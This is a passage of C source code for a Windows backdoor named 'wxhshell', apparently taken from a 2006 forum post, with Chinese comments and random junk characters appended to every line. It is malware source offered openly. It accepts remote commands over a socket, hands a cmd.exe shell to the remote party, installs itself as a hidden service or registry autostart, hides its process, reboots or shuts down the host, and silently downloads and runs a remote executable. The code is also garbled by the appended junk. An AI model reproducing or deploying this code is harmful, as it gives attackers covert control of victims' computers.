      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ER,!`C]  
    break; Vji:,k=3\  
  } |)*9BN  
  // 安装 H7 "r^s]D  
  case 'i': { e<$s~ UXv  
    if(Install()) ^{Fo,7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }2hU7YWt  
    else  B9dc *  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \GPTGi5A  
    break; l T#WM]  
    } )kEH}P&  
  // 卸载 {X10,  
  case 'r': { ntQW+!s;P  
    if(Uninstall()) Hxx]q+DAS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \SN>Yy  
    else $ftxid8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YSbe Cyv  
    break; aTwBRm  
    }  ]&OI.p  
  // 显示 wxhshell 所在路径 *?pnTQs^  
  case 'p': { 88KQ) NU  
    char svExeFile[MAX_PATH]; ^c]c`w  
    strcpy(svExeFile,"\n\r"); n s#v?D9NF  
      strcat(svExeFile,ExeFile); t|m=X  
        send(wsh,svExeFile,strlen(svExeFile),0); K5HzA1^  
    break; H`s[=Y,m  
    } ws<p BC,m  
  // 重启 .*B@1q  
  case 'b': { [jR >.H'  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0Ibe~!EiQJ  
    if(Boot(REBOOT)) q"i]&dMr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VCzb[.  
    else { z.Vf,<H  
    closesocket(wsh); .@0@Y  
    ExitThread(0); 9-Z ?  
    } hmB`+?,z*  
    break; @<3kj R?j  
    } twhT6wz"  
  // 关机 >d(:XP6J  
  case 'd': { uO>pl37@  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2^%O%Pc  
    if(Boot(SHUTDOWN)) I9e3-2THfj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >Cam6LJ  
    else { seVT| z  
    closesocket(wsh); }.1}yz^y  
    ExitThread(0); Ept=&mJPu  
    } ^CK D[s  
    break; 5+2qx)FZ  
    } :F_>`{  
  // 获取shell '~VF*i^4  
  case 's': { rZ&li/Z  
    CmdShell(wsh); "E@A~<RKP  
    closesocket(wsh);  z31g"  
    ExitThread(0); nRyx2\Py+  
    break; yeam-8  
  } vVZ+u4y  
  // 退出 \opcn\vW  
  case 'x': { .X5A7 m  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); F:sUGM,  
    CloseIt(wsh); 55ft ,a  
    break; A2!pbeG  
    } M8IU[Pz4  
  // 离开 H<tU[U=G  
  case 'q': { "xNP"S  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); i91k0q*di  
    closesocket(wsh); TR%8O;  
    WSACleanup(); yg6o#;  
    exit(1); wq|7sk{  
    break; &dPI<HlM  
        } N85ZbmU~  
  } p +nh]  
  }  U02  
FOhq&\nkU  
  // 提示信息 Gx*B(t]4y  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3 }3C*w+  
} 8|nc( $}~  
  } x`Wb9[u8  
BSL+Gjj~}  
  return; Fkg%_v$  
} ^Rtxef  
h8 FV2"  
// shell模块句柄 =?_:h`}  
int CmdShell(SOCKET sock) <\$?.tTZ {  
{ &Xc=PQ:I  
STARTUPINFO si; IgRi(q^b-  
ZeroMemory(&si,sizeof(si)); MdFFt:y:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; b`JS&E  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; v4K! BW  
PROCESS_INFORMATION ProcessInfo; WM%w_,Z  
char cmdline[]="cmd"; #xfav19{.  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $KhD>4^ jL  
  return 0; RY3=UeoF  
} +~|Jn_:A f  
G.$KP  
// 自身启动模式 O0s,)8+z5D  
int StartFromService(void) W*?qOq {  
{ 3dJiu  
typedef struct )3O#T$h  
{ 1]Cd fj6@  
  DWORD ExitStatus; hUX8j9N>  
  DWORD PebBaseAddress; T`,G57-5  
  DWORD AffinityMask;  vY"I  
  DWORD BasePriority; G`/4 n@  
  ULONG UniqueProcessId; *^RoI  
  ULONG InheritedFromUniqueProcessId; %&0/ Ypp=  
}   PROCESS_BASIC_INFORMATION; ~Ye nH  
=nO:R,U  
PROCNTQSIP NtQueryInformationProcess; ]+b?J0|P<  
n/`!G?kvI  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )L7[;(gQ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; lANi$ :aE  
!/ dH"h  
  HANDLE             hProcess; XB@i{/6K  
  PROCESS_BASIC_INFORMATION pbi; l5]R*mR  
h6bvUI+|h  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); I!}V+gu=  
  if(NULL == hInst ) return 0; eCWF0a  
F+?i{$  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); XfflD9M  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); RCi8{~rIvS  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); cP4C<UG  
<FAbImE}  
  if (!NtQueryInformationProcess) return 0; e&E7_  
{:=W) 37U  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Aar]eY\  
  if(!hProcess) return 0; .wUnN8crQ  
K:% MhH-  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; auqN8_+=  
X]n`YF7  
  CloseHandle(hProcess); atW^^4 :  
xAO\'#m  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); df {\O* 6  
if(hProcess==NULL) return 0; Ujqnl>l  
 @' %XdH  
HMODULE hMod; i[MBO`FF  
char procName[255]; y~Yv^'Epf  
unsigned long cbNeeded; SL`; `//  
}_-tJ.  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); X"mPRnE330  
W7(5z  
  CloseHandle(hProcess); X-Ev>3H  
:fnJp9c  
if(strstr(procName,"services")) return 1; // 以服务启动 %Pl |3i  
AZ4:3}  
  return 0; // 注册表启动 4^k8| # c  
} /reGT!u  
.mg0L\  
// 主模块 (kyRx+gA  
int StartWxhshell(LPSTR lpCmdLine) 9G"4w`P  
{ :4x6dYNU  
  SOCKET wsl; u\/TR#b  
BOOL val=TRUE; L@jpid95  
  int port=0; mM2I  
  struct sockaddr_in door; e>6W ^ )  
o( mA(h  
  if(wscfg.ws_autoins) Install(); Jr%F#/  
8N$Xq\Da+>  
port=atoi(lpCmdLine); d>T8V(Bb  
 j=G  
if(port<=0) port=wscfg.ws_port; Fe+(+ S  
vO53?vN[m9  
  WSADATA data; W#kyD)(F  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; iQ1[60?)T  
Wb#<ctM>  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   L>&{<M_  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); pAq PHD=  
  door.sin_family = AF_INET; 8kr$w$=q  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); XiV K4sD8  
  door.sin_port = htons(port); b6H7>x  
lqgR4  !  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { {?++T 0  
closesocket(wsl); KY0<N 9{  
return 1; &U CtyCz  
} n5efHJU  
L?P[{Ohh/  
  if(listen(wsl,2) == INVALID_SOCKET) { ^|vP").aQm  
closesocket(wsl); g;OR{  
return 1; ! ,{N>{I  
} Oiqc]4TL  
  Wxhshell(wsl); H#WqO<<v  
  WSACleanup(); X+HPdrT  
6' \M:'<0e  
return 0; wuxOFlrg  
j|qdf3^f  
} U#sv.r/L}3  
69Z`mR  
// 以NT服务方式启动 7l09  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) rf 60'   
{ {zc*yV\  
DWORD   status = 0; 0F6@aQ\y3  
  DWORD   specificError = 0xfffffff; E7.{SGH}  
\d:Uq5d)0  
  serviceStatus.dwServiceType     = SERVICE_WIN32; x_/l,4_  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; BeD>y@ it  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; L_+ Fin  
  serviceStatus.dwWin32ExitCode     = 0; R<hsG%BS(D  
  serviceStatus.dwServiceSpecificExitCode = 0; X+ybgB4(  
  serviceStatus.dwCheckPoint       = 0; cG3tn&AXi  
  serviceStatus.dwWaitHint       = 0; 09 f;z  
MSp) Jc  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); F x$W3FIO]  
  if (hServiceStatusHandle==0) return; %s5( ''a.  
blP8"(U  
status = GetLastError(); NXz/1ut%  
  if (status!=NO_ERROR)  BPKrRex  
{ >{A)d<  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; nE0I[T(  
    serviceStatus.dwCheckPoint       = 0; :uqEGnEut  
    serviceStatus.dwWaitHint       = 0; %U .x9UL  
    serviceStatus.dwWin32ExitCode     = status; Jy[rA<x$  
    serviceStatus.dwServiceSpecificExitCode = specificError; P1]F0fR  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); $]W*;MTI}  
    return; &uV|Ie8@q  
  } J-G)mvkv  
cg_tJ^vrY  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^vzXT>t-M  
  serviceStatus.dwCheckPoint       = 0; [Z;H= `  
  serviceStatus.dwWaitHint       = 0; ;<6S\  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >}C:EnECy  
} muBl~6_mb2  
pN)>c,  
// 处理NT服务事件,比如:启动、停止 .)1u0 (?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {}gL*2:EW$  
{ *IF ~ab2  
switch(fdwControl) $RHw6*COG  
{ V' i@N  
case SERVICE_CONTROL_STOP: <h<_''+  
  serviceStatus.dwWin32ExitCode = 0; !+YSc&R_fW  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 1gvh6eE F  
  serviceStatus.dwCheckPoint   = 0; p]toDy-}  
  serviceStatus.dwWaitHint     = 0; B{S^t\T$  
  { ]n'.}"8Kn  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +(w9! 5?F  
  } 5-'Z.[ImB?  
  return; jH;L7  
case SERVICE_CONTROL_PAUSE: 8u"C7} N_  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; x #|t#N%  
  break; JuRWR0@`  
case SERVICE_CONTROL_CONTINUE: An,TunX  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; w*(1qUF#%  
  break; ,wHlU-%  
case SERVICE_CONTROL_INTERROGATE: =BV_ ?  
  break; s%m?Yh3  
}; bHTTxZ-%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); X)c0 y3hk  
} .\)ek[?  
NID2$p  
// 标准应用程序主函数 s(=@J?7As  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) AvuGAlP  
{ p}K+4z   
jCg4$),b  
// 获取操作系统版本 u)/i$N  
OsIsNt=GetOsVer(); 'g} Q@@b  
GetModuleFileName(NULL,ExeFile,MAX_PATH); q%1B4 mF'  
qV``' _=<  
  // 从命令行安装 3cNr~`7  
  if(strpbrk(lpCmdLine,"iI")) Install(); o_ixdnc  
+4 D#Ht 7  
  // 下载执行文件 (8~Hr?1B  
if(wscfg.ws_downexe) { y>r^ MQ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) + eZn  
  WinExec(wscfg.ws_filenam,SW_HIDE); I=YZ!*f/`  
} $UdFm8&  
jT-tsQ .,  
if(!OsIsNt) { Go~3L8 '  
// 如果时win9x,隐藏进程并且设置为注册表启动 :/fT8KCwo  
HideProc(); fnFI w=d  
StartWxhshell(lpCmdLine); <#T #+uO  
} #,!/Cnqis  
else OPv~1h<[  
  if(StartFromService()) e4.G9(  
  // 以服务方式启动 :<1PCX2  
  StartServiceCtrlDispatcher(DispatchTable); =RlAOgJ  
else gA2]kZg  
  // 普通方式启动 )Oj{x0{\Q  
  StartWxhshell(lpCmdLine); sX`by\s,  
|~Vq"6`  
return 0; G49`a*Jn  
}
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只看该作者 1 发表于: 2006-10-10
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